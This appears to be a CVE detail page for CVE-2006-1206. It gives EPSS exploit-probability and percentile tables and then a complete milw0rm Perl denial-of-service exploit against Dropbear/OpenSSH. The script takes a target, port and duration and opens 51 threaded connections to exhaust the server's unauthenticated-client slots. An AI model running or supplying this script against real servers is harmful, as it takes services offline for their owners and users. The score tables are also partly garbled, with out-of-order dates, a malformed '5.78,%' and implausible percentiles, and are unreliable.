CVE-2006-1206 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	2.73%	–
2024-02-04	–	–	–	2.73%	–
2024-06-02	–	–	–	2.73%	–
2024-12-22	–	–	–	1.55%	–
2025-02-23	–	–	–	1.44%	–
2025-01-19	–	–	–	1.55%	–
2025-02-23	–	–	–	1.44%	–
2025-03-18	–	–	–	–	6.7%
2025-03-30	–	–	–	–	5.78%
2025-03-30	–	–	–	–	5.78,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	89%
2024-02-04	9%
2024-06-02	91%
2024-12-22	87%
2025-02-23	87%
2025-01-19	87%
2025-02-23	87%
2025-03-18	91%
2025-03-30	9%
2025-03-30	9%

#!/usr/bin/perl ## I needed a working test script so here it is. ## just a keep alive thread, I had a few problems with Pablo's code running properly. ## ## Straight from Pablo Fernandez's advisory: # Vulnerable code is in svr-main.c # # /* check for max number of connections not authorised */ # for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) { # if (childpipes[j] < 0) { # break; # } # } # # if (j == MAX_UNAUTH_CLIENTS) { # /* no free connections */ # /* TODO - possibly log, though this would be an easy way # * to fill logs/disk */ # close(childsock); # continue; # } ## /str0ke (milw0rm.com) use IO::Socket; use Thread; use strict; # thanks to Perl Underground for my moronic coding style fixes. my ($serv, $port, $time) = @ARGV; sub usage { print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n"; print "by /str0ke (milw0rm.com)\n"; print "Credits to Pablo Fernandez\n"; print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n"; exit (); } sub exploit { my ($serv, $port, $sleep) = @_; my $sock = new IO::Socket::INET ( PeerAddr => $serv, PeerPort => $port, Proto => 'tcp', ); die "Could not create socket: $!\n" unless $sock; sleep $sleep; close($sock); } sub thread { print "Server: $serv\nPort: $port\nSeconds: $time\n"; for my $i ( 1 .. 51 ) { print "."; my $thr = new Thread \&exploit, $serv, $port, $time; } sleep $time; #detach wouldn't be good } if (@ARGV != 3){&usage;}else{&thread;} # milw0rm.com [2006-03-10]